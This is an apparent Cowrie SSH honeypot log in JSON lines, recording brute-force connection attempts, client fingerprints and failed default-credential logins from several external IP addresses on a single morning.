{"eventid":"cowrie.login.failed","username":"ubuntu","password":"welcome","message":"login attempt [ubuntu/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:39.204611Z","src_ip":"160.187.147.124","session":"a599a045a2b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":29849,"dst_ip":"10.17.0.5","dst_port":22,"session":"b74a32888040","protocol":"ssh","message":"New connection: 103.161.170.12:29849 (10.17.0.5:22) [session: b74a32888040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:40.184030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:40.189068Z","src_ip":"103.161.170.12","session":"b74a32888040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:40.438666Z","src_ip":"103.161.170.12","session":"b74a32888040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:40.452362Z","src_ip":"160.187.147.124","session":"a599a045a2b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allan","password":"password","message":"login attempt [allan/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:41.454811Z","src_ip":"103.161.170.12","session":"b74a32888040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:07:42.703121Z","src_ip":"103.161.170.12","session":"b74a32888040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":49758,"dst_ip":"159.203.135.109","dst_port":22,"session":"39e7436379c1","protocol":"ssh","message":"New connection: 45.148.10.121:49758 (159.203.135.109:22) [session: 39e7436379c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:08:31.316328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:08:31.321350Z","src_ip":"45.148.10.121","session":"39e7436379c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:08:31.401177Z","src_ip":"45.148.10.121","session":"39e7436379c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:08:31.690132Z","src_ip":"45.148.10.121","session":"39e7436379c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:08:32.772700Z","src_ip":"45.148.10.121","session":"39e7436379c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":3473,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf2af34c1315","protocol":"ssh","message":"New connection: 103.161.170.12:3473 (10.17.0.5:22) [session: cf2af34c1315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:11.281526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:11.285884Z","src_ip":"103.161.170.12","session":"cf2af34c1315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:11.537268Z","src_ip":"103.161.170.12","session":"cf2af34c1315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jaypassword","message":"login attempt [jay/jaypassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:12.576795Z","src_ip":"103.161.170.12","session":"cf2af34c1315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:13.831275Z","src_ip":"103.161.170.12","session":"cf2af34c1315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":42044,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ce2df5f39b","protocol":"ssh","message":"New connection: 160.22.123.78:42044 (10.17.0.5:22) [session: a4ce2df5f39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:23.136889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:23.141579Z","src_ip":"160.22.123.78","session":"a4ce2df5f39b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:23.383213Z","src_ip":"160.22.123.78","session":"a4ce2df5f39b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"george","password":"123","message":"login attempt [george/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:24.382956Z","src_ip":"160.22.123.78","session":"a4ce2df5f39b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:25.626990Z","src_ip":"160.22.123.78","session":"a4ce2df5f39b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":39970,"dst_ip":"10.17.0.5","dst_port":22,"session":"66ee592f698a","protocol":"ssh","message":"New connection: 160.187.147.124:39970 (10.17.0.5:22) [session: 66ee592f698a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:39.054192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:39.059377Z","src_ip":"160.187.147.124","session":"66ee592f698a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:39.303493Z","src_ip":"160.187.147.124","session":"66ee592f698a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zx","password":"zxpassword","message":"login attempt [zx/zxpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:40.311443Z","src_ip":"160.187.147.124","session":"66ee592f698a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:41.560475Z","src_ip":"160.187.147.124","session":"66ee592f698a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":56328,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea55f65a323d","protocol":"ssh","message":"New connection: 162.120.6.20:56328 (10.17.0.5:22) [session: ea55f65a323d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:57.057684Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:57.129290Z","src_ip":"162.120.6.20","session":"ea55f65a323d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":56340,"dst_ip":"10.17.0.5","dst_port":22,"session":"a57bcc5843e2","protocol":"ssh","message":"New connection: 162.120.6.20:56340 (10.17.0.5:22) [session: a57bcc5843e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:57.199159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:57.203676Z","src_ip":"162.120.6.20","session":"a57bcc5843e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:57.275367Z","src_ip":"162.120.6.20","session":"a57bcc5843e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samp","password":"123456","message":"login attempt [samp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:57.490868Z","src_ip":"162.120.6.20","session":"a57bcc5843e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:09:58.564972Z","src_ip":"162.120.6.20","session":"a57bcc5843e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":59664,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d07499ccb59","protocol":"ssh","message":"New connection: 103.161.170.12:59664 (10.17.0.5:22) [session: 0d07499ccb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:10:07.458296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:10:07.463491Z","src_ip":"103.161.170.12","session":"0d07499ccb59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:10:07.708274Z","src_ip":"103.161.170.12","session":"0d07499ccb59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"123456","message":"login attempt [ivan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:10:08.716618Z","src_ip":"103.161.170.12","session":"0d07499ccb59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:10:09.963757Z","src_ip":"103.161.170.12","session":"0d07499ccb59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":56878,"dst_ip":"10.17.0.5","dst_port":22,"session":"033f0b5b5a5c","protocol":"ssh","message":"New connection: 85.121.120.129:56878 (10.17.0.5:22) [session: 033f0b5b5a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:10:24.568497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:10:24.572712Z","src_ip":"85.121.120.129","session":"033f0b5b5a5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:10:24.646185Z","src_ip":"85.121.120.129","session":"033f0b5b5a5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6@123456","message":"login attempt [user6/user6@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:10:24.974782Z","src_ip":"85.121.120.129","session":"033f0b5b5a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:10:26.050428Z","src_ip":"85.121.120.129","session":"033f0b5b5a5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":17104,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e4640becb47","protocol":"ssh","message":"New connection: 103.161.170.12:17104 (10.17.0.5:22) [session: 0e4640becb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:02.685898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:11:02.691410Z","src_ip":"103.161.170.12","session":"0e4640becb47","protocol":"ssh"}
